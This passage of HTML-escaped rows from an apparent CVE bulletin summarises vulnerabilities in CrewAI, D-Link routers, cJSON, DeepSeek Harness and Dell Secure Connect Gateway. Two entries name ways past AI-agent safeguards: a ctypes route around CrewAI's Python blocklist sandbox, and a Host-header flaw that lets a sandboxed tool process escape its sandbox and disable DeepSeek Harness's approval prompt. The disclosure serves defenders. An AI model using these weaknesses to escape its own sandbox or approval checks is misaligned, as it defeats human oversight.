&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-86732&quot; target=&quot;_blank&quot;&gt;CVE-2026-86732&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;CrewAI--CrewAI&lt;/td&gt;
&lt;td&gt;CrewAI before fb2323b offers a Python blocklist approach that operates at the wrong level of abstraction, a different vulnerability than CVE-2026-2275. Import-time blocking of module names does not address the availability of Python&#039;s complete object graph. For example, calling ctypes.CDLL(None) loads the C library without relying in any import statements. In other words, a within-process sandbox cannot merely account for the import system and instead must account for the complete runtime of the Python interpreter.&lt;/td&gt;
&lt;td&gt;2026-09-13&lt;/td&gt;
&lt;td width:&gt;8.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-37008&quot; target=&quot;_blank&quot;&gt;CVE-2026-37008&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Crocoblock--JetFormBuilder&lt;/td&gt;
&lt;td&gt;Unauthenticated Cross Site Scripting (XSS) in JetFormBuilder &amp;lt;= 3.6.5.1 versions.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-84817&quot; target=&quot;_blank&quot;&gt;CVE-2026-84817&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;CryptoPayment Gateway--CryptoPayment Gateway&lt;/td&gt;
&lt;td&gt;The CryptoPayment Gateway WordPress plugin from 1.2.1 to 1.2.2 does not apply an authorization check on one of its AJAX endpoints, allowing unauthenticated users to invoke administrative operations, including deleting arbitrary files on the server, overwriting the payment gateway configuration and recovering stored wallet credentials in cleartext.&lt;/td&gt;
&lt;td&gt;2026-09-13&lt;/td&gt;
&lt;td width:&gt;10&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-81648&quot; target=&quot;_blank&quot;&gt;CVE-2026-81648&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;CyberPanel--CyberPanel&lt;/td&gt;
&lt;td&gt;CyberPanel before 2.4.4 attempts to detect an &quot;alais&quot; domain (i.e., a second domain that serves the same content as a primary domain; normally spelled &quot;alias&quot;) via an ORM query filter rather than a Python &quot;if&quot; statement.&lt;/td&gt;
&lt;td&gt;2026-09-13&lt;/td&gt;
&lt;td width:&gt;7.7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-29811&quot; target=&quot;_blank&quot;&gt;CVE-2026-29811&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;D-Link--DIR-605&lt;/td&gt;
&lt;td&gt;A vulnerability was identified in D-Link DIR-605 B1v202WWB03. This issue affects the function tunnel_set_params of the file progs.gpl/pppd.alpha/l2tp/tunnel.c of the component L2TP Control Message Parser. Such manipulation of the argument peer_hostname&amp;nbsp; leads to off-by-one. The attack may be performed from remote. Attacks of this nature are highly complex. The exploitability is assessed as difficult. The exploit is publicly available and might be used.&lt;/td&gt;
&lt;td&gt;2026-09-07&lt;/td&gt;
&lt;td width:&gt;8.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-86297&quot; target=&quot;_blank&quot;&gt;CVE-2026-86297&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;D-Link--DIR-822A&lt;/td&gt;
&lt;td&gt;A vulnerability was determined in D-Link DIR-822A A_101. This vulnerability affects the function strcpy of the file udhcpcd/serverpacket.c of the component udhcpcd. This manipulation causes stack-based buffer overflow. The attack is possible to be carried out remotely. The exploit has been publicly disclosed and may be utilized.&lt;/td&gt;
&lt;td&gt;2026-09-07&lt;/td&gt;
&lt;td width:&gt;10&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-86296&quot; target=&quot;_blank&quot;&gt;CVE-2026-86296&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;D-Link--DIR-822A&lt;/td&gt;
&lt;td&gt;A vulnerability has been found in D-Link DIR-822A A_101. Affected is the function tunnel_set_params of the component L2TP Control Message Parser. Such manipulation leads to out-of-bounds write. The attack can be launched remotely. The exploit has been disclosed to the public and may be used.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;9.9&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-86510&quot; target=&quot;_blank&quot;&gt;CVE-2026-86510&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;D-Link--DIR-895L&lt;/td&gt;
&lt;td&gt;A flaw has been found in D-Link DIR-895L A1_102b07. This impacts the function sendOffer/sendACK of the file udhcpcd/serverpacket.c of the component udhcpcd. This manipulation causes stack-based buffer overflow. The attack can only be done within the local network. The exploit has been published and may be used.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;9.6&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-86509&quot; target=&quot;_blank&quot;&gt;CVE-2026-86509&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;D-Link--DIR-895L&lt;/td&gt;
&lt;td&gt;A vulnerability was found in D-Link DIR-895L A1_102b07. This affects the function sendACK of the file udhcpcd/serverpacket.c of the component udhcpcd. The manipulation of the argument Hostname results in command injection. The attack can be executed remotely. The exploit has been made public and could be used.&lt;/td&gt;
&lt;td&gt;2026-09-07&lt;/td&gt;
&lt;td width:&gt;8.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-86295&quot; target=&quot;_blank&quot;&gt;CVE-2026-86295&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;DaveGamble--cJSON&lt;/td&gt;
&lt;td&gt;A vulnerability was found in DaveGamble cJSON up to 1.7.19. The affected element is the function cJSONUtils_MergePatch of the file cJSON_Utils.c. The manipulation results in use after free. The attack may be launched remotely. The exploit has been made public and could be used. The pull request to fix this issue awaits acceptance.&lt;/td&gt;
&lt;td&gt;2026-09-10&lt;/td&gt;
&lt;td width:&gt;7.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87933&quot; target=&quot;_blank&quot;&gt;CVE-2026-87933&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;DeepSeek--DeepSeek Harness&lt;/td&gt;
&lt;td&gt;DeepSeek Harness before 0.1.2-alpha.1 contains an authentication bypass vulnerability that grants unauthenticated access to its local HTTP agent-control API by accepting a client-supplied loopback Host header in place of validating the actual TCP connection origin. On the default configuration, a confined tool-executed process can reach the loopback API without any port exposure and use it to escape its own OS sandbox, escalate to unconfined execution, and disable the approval prompt. When the port is externally reachable via tunnel, SSH forward, or reverse proxy, a remote attacker can exploit the same flaw to create sessions, execute arbitrary commands, and exfiltrate stored conversation transcripts without credentials.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;9.6&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-82533&quot; target=&quot;_blank&quot;&gt;CVE-2026-82533&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Dell--iDRAC9&lt;/td&gt;
&lt;td&gt;Dell iDRAC9, 14G versions prior to 7.00.00.184, 15G/16G versions prior to 7.30.10.50, and Dell iDRAC10, 17G versions prior to 1.30.30.50, contain an Improper Neutralization of Special Elements used in an OS Command (&#039;OS Command Injection&#039;) vulnerability. A high privileged attacker with remote access could potentially exploit this vulnerability, leading to command injection.&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;7.2&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-23855&quot; target=&quot;_blank&quot;&gt;CVE-2026-23855&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Dell--Secure Connect Gateway (SCG) 5.0 Application&lt;/td&gt;
&lt;td&gt;Dell Secure Connect Gateway (SCG) 5.0 Application, versions prior to 5.36.00.00, contains an Improper Neutralization of Special Elements used in an OS Command (&#039;OS Command Injection&#039;) vulnerability. An unauthenticated attacker with remote access could potentially exploit this vulnerability, leading to remote execution.&lt;/td&gt;
&lt;td&gt;2026-09-07&lt;/td&gt;
&lt;td width:&gt;7.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-61409&quot; target=&quot;_blank&quot;&gt;CVE-2026-61409&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Dell--Secure Connect Gateway 5.0 - Application&lt;/td&gt;
&lt;td&gt;Dell SCG 5.0 Appliance versions prior to 5.36.00.16 and Dell SCG 5.0 Application versions prior to 5.36.00.00, contains a Missing Authorization vulnerability. An unauthenticated attacker with remote access could potentially exploit this vulnerability, leading to remote execution. This vulnerability is considered critical because it allows an attacker to execute commands remotely on a target system by sending a specially crafted request to the application, bypassing intended restrictions on code execution.Dell recommends customers to upgrade at the earliest opportunity.&lt;/td&gt;
&lt;td&gt;2026-09-07&lt;/td&gt;
&lt;td width:&gt;9.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-61410&quot; target=&quot;_blank&quot;&gt;CVE-2026-61410&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Dell--Secure Connect Gateway 5.0 - Application&lt;/td&gt;
&lt;td&gt;Dell SCG 5.0 Appliance versions prior to 5.36.00.16 and Dell SCG 5.0 Application versions prior to 5.36.00.00, contains an Insufficient Verification of Data Authenticity vulnerability. An unauthenticated attacker with remote access could exploit this, leading to unauthorized access. This vulnerability is considered critical as an unauthenticated attacker can repeatedly reuse a captured request to generate ADMIN access and refresh tokens. Since there is no nonce validation or time limit on requests, the attack can be performed indefinitely. Dell recommends customers to upgrade at the earliest opportunity&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;9.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-80172&quot; target=&quot;_blank&quot;&gt;CVE-2026-80172&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Dell--Secure Connect Gateway 5.0 - Application&lt;/td&gt;
&lt;td&gt;Dell SCG 5.0 Appliance versions prior to 5.36.00.16 and Dell SCG 5.0 Application versions prior to 5.36.00.00, contains an Execution with Unnecessary Privileges vulnerability. An unauthenticated attacker with local access could potentially exploit this vulnerability, leading to Protection mechanism bypass. This vulnerability is considered critical because a low-privileged operator with SSH access to the SCG host can gain root-level access to the host without requiring a password by leveraging the exposed Docker socket. Additionally, an attacker who compromises a service running within the orchestrator container can access the same socket and escape the container boundary to obtain host-level control. Dell recommends that customers upgrade at the earliest opportunity.&lt;/td&gt;
&lt;td&gt;2026-09-07&lt;/td&gt;
&lt;td width:&gt;9.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-80238&quot; target=&quot;_blank&quot;&gt;CVE-2026-80238&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Dell--Secure Connect Gateway 5.0 - Application&lt;/td&gt;
&lt;td&gt;Dell SCG 5.0 Appliance versions prior to 5.36.00.16 and Dell SCG 5.0 Application versions prior to 5.36.00.00, contains an Improper Certificate Validation vulnerability. An unauthenticated attacker with remote access could potentially exploit this vulnerability, leading to unauthorized access.&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;8.2&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-78491&quot; target=&quot;_blank&quot;&gt;CVE-2026-78491&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Dell--Secure Connect Gateway 5.0 - Application&lt;/td&gt;
&lt;td&gt;Dell SCG 5.0 Appliance versions prior to 5.36.00.16 and Dell SCG 5.0 Application versions prior to 5.36.00.00, contains a Missing Authentication for Critical Function vulnerability. An unauthenticated attacker with remote access could potentially exploit this vulnerability, leading to unauthorized access.&lt;/td&gt;
&lt;td&gt;2026-09-07&lt;/td&gt;
&lt;td width:&gt;8.2&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-79645&quot; target=&quot;_blank&quot;&gt;CVE-2026-79645&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Dell--Secure Connect Gateway 5.0 - Application&lt;/td&gt;
&lt;td&gt;ell SCG 5.0 Appliance versions prior to 5.36.00.16 and Dell SCG 5.0 Application versions prior to 5.36.00.00, contains a Missing Authentication for Critical Function vulnerability. An unauthenticated attacker with remote access could potentially exploit this vulnerability, leading to unauthorized access.&lt;/td&gt;
&lt;td&gt;2026-09-07&lt;/td&gt;
&lt;td width:&gt;8.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-80132&quot; target=&quot;_blank&quot;&gt;CVE-2026-80132&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Dell--Secure Connect Gateway 5.0 - Application&lt;/td&gt;
&lt;td&gt;Dell SCG 5.0 Appliance versions prior to 5.36.00.16 and Dell SCG 5.0 Application versions prior to 5.36.00.00, contains a Missing Authentication for Critical Function vulnerability. An unauthenticated attacker with remote access could potentially exploit this vulnerability, leading to unauthorized access.&lt;/td&gt;
&lt;td&gt;2026-09-07&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-78480&quot; target=&quot;_blank&quot;&gt;CVE-2026-78480&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Dell--Secure Connect Gateway 5.0 - Application&lt;/td&gt;
&lt;td&gt;Dell SCG 5.0 Appliance versions prior to 5.36.00.16 and Dell SCG 5.0 Application versions prior to 5.36.00.00, contains an Improper Limitation of a Pathname to a Restricted Directory (&#039;Path Traversal&#039;) vulnerability. An unauthenticated attacker with remote access could potentially exploit this vulnerability, leading to Unauthorized access&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;7.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-78485&quot; target=&quot;_blank&quot;&gt;CVE-2026-78485&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Dell--Secure Connect Gateway 5.0 - Application&lt;/td&gt;
&lt;td&gt;Dell SCG 5.0 Appliance versions prior to 5.36.00.16 and Dell SCG 5.0 Application versions prior to 5.36.00.00, contains an Improper Restriction of Excessive Authentication Attempts vulnerability. An unauthenticated attacker with remote access could potentially exploit this vulnerability, leading to client-side request forgery.&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-78490&quot; target=&quot;_blank&quot;&gt;CVE-2026-78490&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Dell--Secure Connect Gateway 5.0 - Application&lt;/td&gt;
&lt;td&gt;Dell SCG 5.0 Appliance versions prior to 5.36.00.16 and Dell SCG 5.0 Application versions prior to 5.36.00.00, contains an Improper Certificate Validation vulnerability. An unauthenticated attacker with remote access could potentially exploit this vulnerability, leading to unauthorized access.&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;7.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-78492&quot; target=&quot;_blank&quot;&gt;CVE-2026-78492&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Dell--Secure Connect Gateway 5.0 - Application&lt;/td&gt;
&lt;td&gt;Dell SCG 5.0 Appliance versions prior to 5.36.00.16 and Dell SCG 5.0 Application versions prior to 5.36.00.00, contains an Improper Certificate Validation vulnerability. An unauthenticated attacker with remote access could potentially exploit this vulnerability, leading to unauthorized access.&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;7.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-78494&quot; target=&quot;_blank&quot;&gt;CVE-2026-78494&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Dell--Secure Connect Gateway 5.0 - Application&lt;/td&gt;
&lt;td&gt;Dell SCG 5.0 Appliance versions prior to 5.36.00.16 and Dell SCG 5.0 Application versions prior to 5.36.00.00, contains a Server-Side Request Forgery (SSRF) vulnerability. An unauthenticated attacker with remote access could potentially exploit this vulnerability, leading to unauthorized access.&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;7.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-79635&quot; target=&quot;_blank&quot;&gt;CVE-2026-79635&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Dell--Secure Connect Gateway 5.0 - Application&lt;/td&gt;
&lt;td&gt;Dell SCG 5.0 Appliance versions prior to 5.36.00.16 and Dell SCG 5.0 Application versions prior to 5.36.00.00, contains an Improper Validation of Certificate with Host Mismatch vulnerability. An unauthenticated attacker with remote access could potentially exploit this vulnerability, leading to unauthorized access.&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-79636&quot; target=&quot;_blank&quot;&gt;CVE-2026-79636&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Dell--Secure Connect Gateway 5.0 - Application&lt;/td&gt;
&lt;td&gt;Dell SCG 5.0 Appliance versions prior to 5.36.00.16 and Dell SCG 5.0 Application versions prior to 5.36.00.00, contains an Improper Certificate Validation vulnerability. An unauthenticated attacker with remote access could potentially exploit this vulnerability, leading to unauthorized access.&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;7.7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-79637&quot; target=&quot;_blank&quot;&gt;CVE-2026-79637&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Dell--Secure Connect Gateway 5.0 - Application&lt;/td&gt;
&lt;td&gt;Dell SCG 5.0 Appliance versions prior to 5.36.00.16 and Dell SCG 5.0 Application versions prior to 5.36.00.00, contains an Improper Certificate Validation vulnerability. An unauthenticated attacker with remote access could potentially exploit this vulnerability, leading to unauthorized access.&lt;/td&gt;
&lt;td&gt;2026-09-07&lt;/td&gt;
&lt;td width:&gt;7.6&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-79639&quot; target=&quot;_blank&quot;&gt;CVE-2026-79639&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Dell--Secure Connect Gateway 5.0 - Application&lt;/td&gt;
&lt;td&gt;Dell SCG 5.0 Appliance versions prior to 5.36.00.16 and Dell SCG 5.0 Application versions prior to 5.36.00.00, contains an Improper Neutralization of Special Elements used in an OS Command (&#039;OS Command Injection&#039;) vulnerability. A low privileged attacker with remote access could potentially exploit this vulnerability, leading to elevation of privileges.&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-79641&quot; target=&quot;_blank&quot;&gt;CVE-2026-79641&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Dell--Secure Connect Gateway 5.0 - Application&lt;/td&gt;
&lt;td&gt;Dell SCG 5.0 Appliance versions prior to 5.36.00.16 and Dell SCG 5.0 Application versions prior to 5.36.00.00, contains an Use of Incorrect Operator vulnerability. An unauthenticated attacker with remote access could potentially exploit this vulnerability, leading to unauthorized access.&lt;/td&gt;
&lt;td&gt;2026-09-07&lt;/td&gt;
&lt;td width:&gt;7.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-79643&quot; target=&quot;_blank&quot;&gt;CVE-2026-79643&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Dell--Secure Connect Gateway 5.0 - Application&lt;/td&gt;
&lt;td&gt;Dell SCG 5.0 Appliance versions prior to 5.36.00.16 and Dell SCG 5.0 Application versions prior to 5.36.00.00, contains an Improper Certificate Validation vulnerability. An unauthenticated attacker with remote access could potentially exploit this vulnerability, leading to unauthorized access.&lt;/td&gt;
&lt;td&gt;2026-09-07&lt;/td&gt;
&lt;td width:&gt;7.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-79644&quot; target=&quot;_blank&quot;&gt;CVE-2026-79644&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Dell--Secure Connect Gateway 5.0 - Application&lt;/td&gt;
&lt;td&gt;Dell SCG 5.0 Appliance versions prior to 5.36.00.16 and Dell SCG 5.0 Application versions prior to 5.36.00.00, contains an Improper Certificate Validation vulnerability. An unauthenticated attacker with remote access could potentially exploit this vulnerability, leading to protection mechanism bypass.&lt;/td&gt;
&lt;td&gt;2026-09-07&lt;/td&gt;
&lt;td width:&gt;7.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-79691&quot; target=&quot;_blank&quot;&gt;CVE-2026-79691&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Dell--Secure Connect Gateway 5.0 - Application&lt;/td&gt;
&lt;td&gt;Dell SCG 5.0 Appliance versions prior to 5.36.00.16 and Dell SCG 5.0 Application versions prior to 5.36.00.00, contains an External Control of File Name or Path vulnerability. An unauthenticated attacker with remote access could potentially exploit this vulnerability, leading to filesystem access for attacker.&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;7.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-79692&quot; target=&quot;_blank&quot;&gt;CVE-2026-79692&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Dell--Secure Connect Gateway 5.0 - Application&lt;/td&gt;
&lt;td&gt;Dell SCG 5.0 Appliance versions prior to 5.36.00.16 and Dell SCG 5.0 Application versions prior to 5.36.00.00, contains an Improper Handling of Highly Compressed Data (Data Amplification) vulnerability. An unauthenticated attacker with remote access could potentially exploit this vulnerability, leading to denial of service.&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;7.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-79695&quot; target=&quot;_blank&quot;&gt;CVE-2026-79695&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Dell--Secure Connect Gateway 5.0 - Application&lt;/td&gt;
&lt;td&gt;Dell SCG 5.0 Appliance versions prior to 5.36.00.16 and Dell SCG 5.0 Application versions prior to 5.36.00.00, contains an Use of Hard-coded Credentials vulnerability. An unauthenticated attacker with remote access could potentially exploit this vulnerability, leading to information exposure.&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-79738&quot; target=&quot;_blank&quot;&gt;CVE-2026-79738&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Dell--Secure Connect Gateway 5.0 - Application&lt;/td&gt;
&lt;td&gt;Dell SCG 5.0 Appliance versions prior to 5.36.00.16 and Dell SCG 5.0 Application versions prior to 5.36.00.00, contains an Use of Hard-coded Credentials vulnerability. An unauthenticated attacker with remote access could potentially exploit this vulnerability, leading to information exposure.&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-79740&quot; target=&quot;_blank&quot;&gt;CVE-2026-79740&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Dell--Secure Connect Gateway 5.0 - Application&lt;/td&gt;
&lt;td&gt;Dell SCG 5.0 Appliance versions prior to 5.36.00.16 and Dell SCG 5.0 Application versions prior to 5.36.00.00, contains an Use of Hard-coded Credentials vulnerability. An unauthenticated attacker with remote access could potentially exploit this vulnerability, leading to information exposure.&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-79950&quot; target=&quot;_blank&quot;&gt;CVE-2026-79950&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Dell--Secure Connect Gateway 5.0 - Application&lt;/td&gt;
&lt;td&gt;Dell SCG 5.0 Appliance versions prior to 5.36.00.16 and Dell SCG 5.0 Application versions prior to 5.36.00.00, contains a Download of Code Without Integrity Check vulnerability. An unauthenticated attacker with remote access could potentially exploit this vulnerability, leading to command execution.&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;7.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-79963&quot; target=&quot;_blank&quot;&gt;CVE-2026-79963&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Dell--Secure Connect Gateway 5.0 - Application&lt;/td&gt;
&lt;td&gt;Dell SCG 5.0 Appliance versions prior to 5.36.00.16 and Dell SCG 5.0 Application versions prior to 5.36.00.00, contains an Improper Neutralization of Special Elements used in an SQL Command (&#039;SQL Injection&#039;) vulnerability. A high privileged attacker with remote access could potentially exploit this vulnerability, leading to unauthorized access.&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;7.2&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-79972&quot; target=&quot;_blank&quot;&gt;CVE-2026-79972&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Dell--Secure Connect Gateway 5.0 - Application&lt;/td&gt;
&lt;td&gt;Dell SCG 5.0 Appliance versions prior to 5.36.00.16 and Dell SCG 5.0 Application versions prior to 5.36.00.00, contains an Improper Certificate Validation vulnerability. An unauthenticated attacker with remote access could potentially exploit this vulnerability, leading to unauthorized access.&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
